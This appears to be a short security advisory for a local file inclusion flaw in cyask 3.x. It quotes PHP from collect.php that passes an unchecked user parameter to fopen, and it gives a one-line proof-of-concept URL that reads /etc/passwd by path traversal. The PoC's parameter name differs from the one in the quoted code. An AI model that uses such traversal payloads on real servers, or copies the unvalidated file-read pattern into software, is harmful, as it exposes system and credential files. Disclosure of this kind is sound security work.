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cyask 3.x Local File Inclusion Vulnerability



This vulnerability leads to that the attacker can read any file on your 
webserver when it installs cyask.

The $neturl variable in collect.php is short of enough check. When the attacker 
registers a new user, he can pass the user check and then submit any filename 
to $neturl so that collect.php can read it.

The vuln code like this:
$url=get_referer();
    $neturl=empty($_POST['neturl']) ? trim($_GET['neturl']) : 
trim($_POST['neturl']);
   
    $collect_url=empty($neturl) ? $url : $neturl;
   
    $contents = '';
    if($fid=@fopen($collect_url,"r"))
    {
        do
        {
            $data = fread($fid, 4096);
            if (strlen($data) == 0)
            {
                break;
            }
            $contents .= $data;
        }
        while(true);
        fclose($fid);
    }

POC:
http://XXX.com/collect.php?net_url=../../../etc/passwd